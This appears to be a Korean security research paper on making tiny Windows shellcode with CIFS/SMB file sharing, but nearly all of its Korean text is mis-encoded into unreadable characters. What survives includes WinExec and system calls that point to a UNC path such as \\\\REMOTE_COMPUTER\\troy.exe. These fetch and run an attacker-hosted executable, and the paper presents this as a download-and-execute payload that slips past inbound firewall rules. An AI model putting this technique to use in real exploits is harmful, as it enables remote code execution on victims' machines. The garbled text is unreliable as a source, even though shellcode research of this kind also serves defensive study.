Windows¿¡¼­ Common Internet File System ±â´ÉÀ» ÀÌ¿ëÇÏ¿© ¾ÆÁÖ ÀÛÀº Shellcode ¸¸µé±â

 

 

 

by Beist Security Research Group
(http://beist.org)


AbstractÃë¾à ÇÁ·Î±×·¥À» °ø·«ÇÒ ¶§ Shellcode¸¦ »ðÀÔÇÒ °ø°£ÀÌ ºÎÁ·ÇÒ °æ¿ì¸¦ ´ëºñÇØ ¸¹Àº ÇØÄ¿µéÀÌ ÀÛÀº Å©±âÀÇ Shellcode¸¦ ¸¸µé±â À§ÇØ ³ë·ÂÇϰí ÀÖ´Ù. º» ¹®¼­´Â Windows OSÀÇ CIFS ±â´ÉÀ» ÀÌ¿ëÇÏ¿© Shellcode¸¦ ¸¸µå´Â ¹æ¹ý·ÐÀ» ¼Ò°³Çϰí ÀÖ´Ù. °á·ÐÀûÀ¸·Î Execute FunctionÀ» Çѹø¸¸ È£ÃâÇØµµ ÇØÄ¿°¡ ¿øÇÏ´Â ±â´ÉÀ» ¼öÇàÇÒ ¼ö Àֱ⠶§¹®¿¡ ¸Å¿ì °£´ÜÇϸ鼭 Å©±â°¡ ÀÛ°í ȣȯ¼ºÀÌ ÁÁÀº Shellcode¸¦ ¸¸µé ¼ö ÀÖ´Ù.

 

 

 

 

 

 

1.   INTRODUCTION

 

º» ¹®¼­´Â Windows OS¿¡¼­ Áö¿øÇÏ´Â CIFS(Common Internet File System) ±â´ÉÀ» ÀÌ¿ëÇÏ¿© Shellcode¸¦ ¸¸µå´Â ¹æ¹ý¿¡ ´ëÇØ¼­ ¼³¸íÇÑ´Ù. Shellcode Å©±â´Â ÀÛÀ»¼ö·Ï »ç¿ëÇϱâ À¯¸®ÇÏ´Ù. ¿Ö³ÄÇϸé Ãë¾àÇÑ ÇÁ·Î±×·¥À» °ø°ÝÇÒ ¶§ ÇÁ·Î±×·¥¿¡ µû¶ó Shellcode°¡ µé¾î°¥ °ø°£ÀÌ ºÎÁ·ÇÒ ¼öµµ Àֱ⠶§¹®ÀÌ´Ù. ±×·¡¼­ Shellcode´Â ÃÖ´ëÇÑ ÀÛÀ»¼ö·Ï ÁÁÀ¸¸ç À̰ÍÀÌ ¸¹Àº ÇØÄ¿µéÀÌ Shellcode¸¦ ÀÛ°Ô ¸¸µé·Á°í ¿¬±¸ÇÏ´Â ÀÌÀ¯ÀÌ´Ù.

CIFS´Â NFS(Network File System)¿Í ºñ½ÁÇÑ °³³äÀÌ¶ó º¼ ¼ö ÀÖ´Ù. ÀÎÅͳÝÀ¸·Î ¿¬°áµÈ ´Ù¸¥ ÄÄÇ»ÅÍÀÇ ÀÚ¿øÀ» ½±°Ô »ç¿ëÇϱâ À§ÇØ ¸¸µé¾îÁø ÇÁ·ÎÅäÄÝÀÌ´Ù. CIFS¸¦ ÀÌ¿ëÇÏ¸é ¿ø°Ý ÄÄÇ»ÅÍ¿¡ ÀÖ´Â ÀÚ¿øµµ ³» ÄÄÇ»ÅÍ¿¡ ÀÖ´Â °Íó·³ ÀÌ¿ëÇÒ ¼ö ÀÖ´Ù. ÀÌ ±â´ÉÀ» ÀÌ¿ëÇÒ °æ¿ì ±âÁ¸¿¡ ¾Ë·ÁÁø ¹æ¹ýµéº¸´Ù ÈξÀ ÀÛ°Ô Shellcode¸¦ ¸¸µé ¼ö ÀÖ´Ù.

 

 

 

 

2.   PROPOSED METHOD

 

CIFS´Â Windows OS¸¦ »ç¿ëÇϰí ÀÖ´Â PC°¡ ´Ù¸¥ ÄÄÇ»ÅÍ¿Í ÆÄÀÏÀ» °øÀ¯ÇÒ ¼ö ÀÖ´Â ¹æ¹ýÀ» Á¦°øÇÏ´Â ÇÁ·ÎÅäÄÝÀ̸ç MS¿¡¼­ °³¹ßÇÏ¿´´Ù. NetBios¸¦ ÅëÇÑ ÆÄÀÏ °øÀ¯¸¦ ¿¹·Î µé ¼ö ÀÖ´Ù. CIFS´Â SMB(Server Message Block)¿¡¼­ À̸§¸¸ ¹Ù²Û °ÍÀÌ¸ç ½ÇÁ¦ ¸ðµç ¿ëµµ°¡ °ÅÀÇ °°´Ù°í º¼ ¼ö ÀÖ´Ù. ¿ì¸®°¡ NetBios¸¦ ÀÌ¿ëÇÏ¿© ´Ù¸¥ ÄÄÇ»ÅÍ¿¡ Á¢±ÙÇÏ´Â °Íµµ ½ÇÁ¦·Î´Â SMB°¡ »ç¿ëµÈ´Ù. ÀÌ ¹®¼­´Â CIFSÀÇ ±â´ÉÀ» ¾î¶»°Ô Shellcode¿¡ ÀÌ¿ëÇÏ´ÂÁö¿¡ ÃÊÁ¡À» ¸ÂÃß°í Àֱ⠶§¹®¿¡ CIFSÇÁ·ÎÅäÄݰú °ü·ÃµÈ ÀÚ¼¼ÇÑ ³»¿ëÀº ´Ù·çÁö ¾Ê°Ú´Ù.

CIFS´Â TCP/IP¸¦ ±â¹ÝÀ¸·Î ÀÛµ¿Çϱ⠶§¹®¿¡ TCP/IP¸¦ ÅëÇØ ÀÎÅͳݿ¡ ¿¬°áµÇ¾î ÀÖ´Â ÄÄÇ»ÅͶó¸é ¼­·Î ´Ù¸¥ ³×Æ®¿öÅ©¿¡ ¼ÓÇØ ÀÖ´õ¶óµµ »ç¿ëÇÒ ¼ö ÀÖ´Ù. ¾Õ¿¡¼­ ¾ð±ÞÇßÁö¸¸ CIFSÀÇ ÁÖ ¸ñÀûÀº ÀÚ¿øÀ» °øÀ¯ÇÏ´Â ±â´ÉÀÌ´Ù. ÀÌ ±â´ÉÀ» ÀÌ¿ëÇÏ¿© ¾î¶»°Ô Shellcode¸¦ ÀÛ¼ºÇÒ ¼ö ÀÖ´ÂÁö ¾Ë¾Æº¸ÀÚ.

Windows OS´Â ÇÁ·Î¼¼½º°¡ ƯÁ¤ ÆÄÀÏ¿¡ Á¢±ÙÇÒ ¶§, Á¢±ÙÇÏ·Á ÇÏ´Â ÆÄÀÏÀÇ ¼Ó¼ºÀ» ÆÄ¾ÇÇÑ´Ù. °£´ÜÈ÷ ¼³¸íÇÏÀÚ¸é ¸ÕÀú Á¢±ÙÇÏ·Á´Â ÆÄÀÏÀÌ ÇöÀç ÄÄÇ»ÅÍ ¾È¿¡ Á¸ÀçÇÏ´Â °ÍÀ̶ó¸é ÀϹÝÀûÀÎ ¹æ½ÄÀ¸·Î ó¸®ÇÑ´Ù. ±×·¸Áö ¾Ê°í ¸¸¾à »ç¿ëÀÚ°¡ ¿ø°Ý¿¡ ÀÖ´Â ÆÄÀÏÀ» ÁöÁ¤Çß´Ù¸é CIFS¸¦ ÀÌ¿ëÇÏ¿© ó¸®ÇÑ´Ù. ÀÌ·¯ÇÑ °úÁ¤À» copy.exe ¸í·É¾î·Î ¿¹¸¦ µé°Ú´Ù.

 

°æ¿ì 1) ¸ÕÀú, ÀÚ½ÅÀÇ ÄÄÇ»ÅÍ ¾È¿¡ ÀÖ´Â ÀÚ¿øÀ» ó¸®ÇÒ °æ¿ìÀÌ´Ù.

C:\> copy.exe c:\test.txt c:\copy_test.txt

 

¸¸¾à c:\test.txt ÆÄÀÏÀÌ Á¸ÀçÇÑ´Ù¸é, c:\copy_test.txt¿¡ º¹»çµÉ °ÍÀÌ´Ù.

 

°æ¿ì 2) CIFS·Î 󸮵Ǵ °æ¿ìÀÌ´Ù.

C:\> copy.exe \\REMOTE_COMPUTER\test\test.txt c:\copy.txt

 

°æ¿ì2)´Â °æ¿ì1) °ú ´Þ¸® ù ¹øÂ° ÆÄÀÏ À̸§ÀÌ ¿ø°ÝÁöÀÇ ÄÄÇ»Å͸¦ ÁöÁ¤Çϰí ÀÖ´Ù. Áï, °æ¿ì2) ¸í·ÉÀº NetBios¸¦ ÀÌ¿ëÇÏ¿© REMOTE_COMPUTER¿¡ ¿¬°áÇÑ ÈÄ, test directory¿¡ Á¸ÀçÇÏ´Â test.txt ÆÄÀÏÀ» ÀÚ½ÅÀÇ ÄÄÇ»ÅÍÀÇ c:\copy.txt¿¡ º¹»çÇ϶ó´Â ÀǹÌÀÌ´Ù. ¸¸¾à REMOTE_COMPUTER¿Í test directory, test.txt ÆÄÀÏ¿¡ Á¢±ÙÇÒ ±ÇÇÑÀÌ ÀÖ´Ù¸é ¸í·ÉÀº ¼º°øÀûÀ¸·Î ½ÇÇàµÉ °ÍÀÌ´Ù.

ÀÌÁ¦ Shellcode¿¡ ÀÌ¿ëÇÒ ¼ö ÀÖ´Â ¹æ¹ýÀ» ¾Ë¾Æº¸ÀÚ. °æ¿ì2)¿¡¼­ CIFS »ç¿ëÀÌ °¡´ÉÇß´ø ÀÌÀ¯´Â ÇØ´ç ±â´ÉÀÌ Windows OS¿¡¼­ ÀÚüÀûÀ¸·Î Áö¿øÇØÁÖ´Â °ÍÀ̱⠶§¹®ÀÌ´Ù. Áï, ÀÌ ±â´ÉÀº Windows OSÀÇ ÀÚü±â´ÉÀ̱⠶§¹®¿¡ Ȱ¿ë ¹üÀ§°¡ ´Ù¾çÇÏ´Ù. ¿¹¸¦ µé¾î Shellcode¿¡¼­µµ °¡´ÉÇÏ´Ù. Shellcode¿¡¼­ »ç¿ëÇÒ¸¸ÇÑ ÃÖÀûÀÇ È°¿ë ¹æ¾ÈÀº, ÇÔ¼ö¸¦ È£ÃâÇÒ ¶§ Argument·Î CIFS¸¦ ÀÌ¿ëÇÑ ¿ø°ÝÁö ÆÄÀÏ ÁöÁ¤ÀÌ´Ù. ±× Áß¿¡¼­ ƯÈ÷, °£´ÜÇϸ鼭µµ È¿À²ÀûÀÎ ÇÔ¼ö´Â Execute °ü·Ã ÇÔ¼öµéÀÌ´Ù. ¿¹¸¦ µé¾î WinExec()³ª system() ÇÔ¼ö¸¦ ´ÙÀ½°ú °°ÀÌ ¿äûÇÒ ¼ö ÀÖ´Ù.

 

 

             WinExec("\\\\REMOTE_COMPUTER\\troy.exe ", 0);

             system("\\\\REMOTE_COMPUTER\\troy.exe");

 

 

ÀÌ ¹æ¹ýÀ» ÀÌ¿ëÇÏ¸é ¾ÆÁÖ °£´ÜÇÏ°Ô Shellcode¸¦ ¸¸µé ¼ö ÀÖ´Ù. ÀÌÁ¦ ÀÌ ±â¹ýÀÇ ÀåÁ¡À» »ìÆìº¸ÀÚ.

 

 

-         CIFS¸¦ ÀÌ¿ëÇÑ ¹æ¹ýÀ¸·Î ±¸ÇöÇÒ ¼ö ÀÖ´Â Shellcode ±â´ÉµéÀº ±âÁ¸¿¡ ³ª¿Ô´ø ¸ðµç ShellcodeÀÇ ±â´ÉµéÀ» Æ÷ÇÔÇϸ鼭µµ (½ÉÁö¾î Å« ±Ô¸ðÀÇ ¾îÇø®ÄÉÀ̼ǵµ ¼³Ä¡ÇÒ ¼ö ÀÖ´Ù.) ShellcodeÀÇ Å©±â°¡ ¸Å¿ì ÀÛ´Ù. ¿Ö³ÄÇÏ¸é ½ÇÁ¦ ¾Ç¼º ÇàÀ§¸¦ ÇÏ´Â ÆÄÀÏÀº ¿ø°Ý ÄÄÇ»ÅÍ¿¡¼­ °¡Á®¿Í ½ÇÇàÇϱ⠶§¹®ÀÌ´Ù. À̰ÍÀÇ È¿°ú´Â ¡®Download and Execute Shellcode¡¯¿Í °ÅÀÇ À¯»çÇÏÁö¸¸ ShellcodeÀÇ Å©±â´Â ÈξÀ ÀÛ´Ù.

 

-         ¿äÁò ÄÄÇ»ÅÍ´Â °øÀÎ IP¸¦ °¡ÁöÁö ¾Ê¾Ò°Å³ª FirewallÀ» ÀÌ¿ëÇÏ¿© ¿ÜºÎ¿¡¼­ ³»ºÎ·Î ¿À´Â ¿¬°áÀ» Á¦ÇÑÇÏ´Â °æ¿ìµµ ¸¹´Ù. ±×·¸±â ¶§¹®¿¡ Shellcode´Â ÃÖ¼ÒÇÑ Reverse Connect ±â´ÉÀ» °®Ãß°í ÀÖ¾î¾ß ÇÑ´Ù. ±×·¸Áö ¾ÊÀ¸¸é °ø°ÝÀ» ¼º°øÇÏ´õ¶óµµ ÇØ´ç ÄÄÇ»Å͸¦ ¿ÏÀüÇÏ°Ô Á¦¾îÇÏÁö ¸øÇÒ ¼öµµ ÀÖ´Ù. CIFS´Â Reverse Connectó·³ Out going ¿¬°áÀ» ÇÏ¿© ¿ø°ÝÁö¿¡¼­ ÆÄÀÏÀ» °¡Á®¿À±â ¶§¹®¿¡ º¸ÅëÀÇ °æ¿ì Firewall¿¡ °É¸®Áö ¾Ê´Â´Ù.

 

-         ¾Ç¼º ÆÄÀÏÀ» ¹Þ¾Æ¿À±â À§ÇØ »ç¿ëÇÒ ¿ø°Ý ÄÄÇ»ÅÍ´Â ¹Ýµå½Ã Windows ¿î¿µÃ¼Á¦ÀÏ Çʿ䰡 ¾ø´Ù. like unix °è¿­ OS¿¡¼­µµ SMB ±â´ÉÀ» »ç¿ëÇÒ ¼ö Àֱ⠶§¹®ÀÌ´Ù.

 

-         ´Ü ÇϳªÀÇ ÇÔ¼ö¸¸ »ç¿ëÇØµµ Shellcode ±¸ÇöÀÌ °¡´ÉÇϱ⠶§¹®¿¡ ±¸ÇöÀÌ °£´ÜÇÏ°í ¶ÇÇÑ ±×·¸±â ¶§¹®¿¡ Áö±Ý²¯ °ø°³µÈ ´Ù¸¥ Shellcode ±â¹ýµéº¸´Ù ºñ±³Àû ȣȯ¼ºÀÌ ÁÁ´Ù°í ÇÒ ¼ö ÀÖ´Ù.

 

 

 

´ÜÁ¡À» ¾Ë¾Æº¸ÀÚ.

 

 

-         °ø°ÝÀ» ´çÇÑ ½Ã½ºÅÛÀº ¿ø°ÝÁö¿¡¼­ ¾Ç¼º ÆÄÀÏÀ» °¡Á®¿Í¾ß Çϱ⠶§¹®¿¡ ÇØÄ¿ ÂÊ¿¡¼­ ÄÄÇ»Å͸¦ ÁغñÇØ³õ°í ÀÖ¾î¾ß ÇÑ´Ù. (Reverse Connectµµ ÇØÄ¿°¡ ÄÄÇ»Å͸¦ ÁغñÇØ³õ°í ÀÖ¾î¾ß ÇÑ´Ù.)

 

-         ¸¸¾à FirewallÀÌ Outgoing ¿¬°á±îÁö Â÷´ÜÇØ³õ¾Ò´Ù¸é ÀÌ ¹æ¹ýÀº ÅëÇÏÁö ¾Ê´Â´Ù. (±×·¯³ª ÀÌ·¸°Ô ¼³Á¤Çϸé Firewall ¾È¿¡ ¼ÓÇØ ÀÖ´Â ³×Æ®¿öÅ© »ç¿ëÀÚµéÀº ¸Å¿ì ºÒÆíÇØÁö±â ¶§¹®¿¡ ÀÌ·² °æ¿ì´Â °ÅÀÇ ¾ø´Ù°í º¸¸é µÈ´Ù.)

 

-         ¸¶Áö¸·À¸·Î º» ±â¼úÀÇ ¸Å¿ì ½É°¢ÇÑ ´ÜÁ¡¿¡ ´ëÇØ¼­ ¾Ë¸®°Ú´Ù. »ç½Ç ÀÌ ¹®¼­¿¡¼­ ´Ù·é ±â¹ý ÀÚü´Â ¹®Á¦°¡ ¾ø´Ù. ÇÏÁö¸¸ ÇöÀç ¼­·Î ´Ù¸¥ ³×Æ®¿öÅ©¿¡¼­ CIFS¸¦ ÀÌ¿ëÇϱⰡ Èûµé´Ù. ±× ÀÌÀ¯´Â CIFS´Â Á¤»ó ÀÛµ¿À» À§ÇØ SMB Port¸¦ »ç¿ëÇϴµ¥ SMB´Â Worm ÀüÆÄ µî, Å©·¡Ä¿µéÀÌ ¾Ç¿ëÇÏ´Â ¼­ºñ½º Áß¿¡ ÇϳªÀÌ´Ù. ¹®Á¦´Â, Worm Â÷´ÜÀ» À§Çؼ­ ÀÏ¹Ý »ç¿ëÀÚÁ¶Â÷ CIFS¸¦ »ç¿ë ¸øÇϵµ·Ï ISP ´Ü¿¡¼­ CIFS °ü·Ã ³×Æ®¿öÅ© PortµéÀ» ¸·¾Æ¹ö·È´Ù. ´ëºÎºÐÀÇ ³×Æ®¿öÅ©¿¡¼­ IncomingÇÏ´Â (ȤÀº Outgoingµµ Æ÷ÇÔ) CIFS °ü·Ã PacketÀÌ Â÷´ÜµÈ´Ù. 100% ¿ÏÀüÈ÷ Â÷´ÜµÈ °ÍÀº ¾Æ´Ï°í °æÇè»ó 10°³ÀÇ ³×Æ®¿öÅ© Áß 1~2°³ÀÇ ³×Æ®¿öÅ©¿¡¼­´Â CIFS ÇÁ·ÎÅäÄÝ »ç¿ëÀÌ °¡´ÉÇÏ¿´´Ù. ¸¸¾à ÀÌ ±â¹ýÀ» »ç¿ëÇϱâ À§Çؼ­´Â ³»ºÎ ³×Æ®¿öÅ©¿¡ ÀÖ´Â ´Ù¸¥ È£½ºÆ®¸¦(ÀϹÝÀûÀ¸·Î °°Àº ³×Æ®¿öÅ© ȯ°æÀ̶ó¸é CIFS »ç¿ëÀ» Çã¶ôÇÑ´Ù.) ÀÌ¿ëÇϰųª ȤÀº Incoming CIFS °ü·Ã PacketÀ» Â÷´ÜÇÏÁö ¾Ê´Â ³×Æ®¿öÅ©¿¡ ¼ÓÇØ Àִ ȣ½ºÆ®¸¦ ÀÌ¿ëÇØ¾ß ÇÑ´Ù.

 

 

 

 

3.   CONCLUSION

 

CIFS¸¦ ÀÌ¿ëÇÏ¿© ¾ÆÁÖ ÀÛÀº Shellcode¸¦ ¸¸µå´Â ¹æ¹ýÀ» ¾Ë¾Æº¸¾Ò´Ù. Shellcode´Â ¸¸µå´Â ¹æ½Ä¿¡ µû¶ó Å©±â°¡ ´Þ¶óÁú ¼ö Àֱ⠶§¹®¿¡ CIFS¸¦ ÀÌ¿ëÇÑ Shellcode³ª ´Ù¸¥ ShellcodeÀÇ Å©±â¸¦ Á÷Á¢ÀûÀ¸·Î ¾ð±ÞÇϰųª ºñ±³ÇÏÁö ¾Ê¾Ò´Ù. ±×·¯³ª º» ¹®¼­¿¡¼­ ¼³¸íÇÑ ±â¹ýÀº ¸Å¿ì °£´ÜÇÑ ¹æ¹ýÀ̱⠶§¹®¿¡ Áö±Ý²¯ °ø°³µÈ Shellcode Áß¿¡¼­´Â °¡Àå ÀÛÀº Å©±âÀÇ Shellcode°¡ µÉ °ÍÀ̶ó »ý°¢ÇÑ´Ù.

º» ¹®¼­´Â Shellcode¸¦ ¸¸µå´Â Ãß»óÀûÀÎ ¹æ¹ý·ÐÀ» ¼³¸íÇÑ °ÍÀ̰í, ShellcodeÀÇ Å©±â¸¦ ÁÙÀÏ ¼ö ÀÖ´Â º¸´Ù ±¸Ã¼ÀûÀÎ ¹æ¹ý¿¡ ´ëÇØ¼­ ¼Ò°³ÇÑ ÁÁÀº ¹®¼­µéÀÌ ÀÌ¹Ì °ø°³µÇ¾îÀÖ´Ù. References¿¡ ÀÖ´Â ¹®¼­¸¦ Âü°íÇÏ¿© ÇØ´ç ¹æ¹ýµé°ú º» ¹®¼­¿¡¼­ Á¦½ÃÇÑ ¹æ¹ýÀ» °áÇÕÇÑ´Ù¸é º¸´Ù ÀÛÀº Å©±âÀÇ Shellcode¸¦ ¸¸µé ¼ö ÀÖÀ» °ÍÀ¸·Î ±â´ëµÈ´Ù. ÇâÈÄ ¿¬±¸ °úÁ¦·Î ÀÌ ¹æ¹ýÀ» Kernel Level¿¡¼­µµ Àû¿ëÇÒ ¼ö ÀÖ´Â ¹æ¾È°ú CIFSó·³ ¿ø°Ý¿¡¼­ ÆÄÀÏÀ» Àü¼ÛÇÒ ¼ö ÀÖ´Â º¸´Ù ½¬¿î ±â¹ý¿¡ ´ëÇØ¼­ °í·ÁÇϰí ÀÖ´Ù.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

[References]

 

[1] Christopher Hertel, Implementing CIFS: The Common Internet File System, Prentice Hall (Book)

[2] WinExec API, MDSN    URL - http://msdn.microsoft.com/library/en-us/dllproc/base/winexec.asp

[3] Dafydd Stuttard, Writing Small Shellcode, URL - http://www.ngssoftware.com/papers/WritingSmallShellcode.pdf

[4] Barnaby Jack, Remote Windows Kernel Exploitation – Step into the Ring0

    URL - http://eeye.com/~data/publish/whitepapers/research/OT20050205.FILE.pdf

[5] Piotr Bania, NT shellcodes prevention demystified,    URL –
http://phrack.org/phrack/63/p63-0x0f_NT_Shellcode_Prevention_Demystified.txt

[6] l0rd yup, Technological Step Into Win32 Shellcodes,

    URL - http://www.astalavista.com/media/directory06/uploads/w32shellcodes.txt

[7] IA32 Manuals    URL - http://developer.intel.com/design/Pentium4/documentation.htm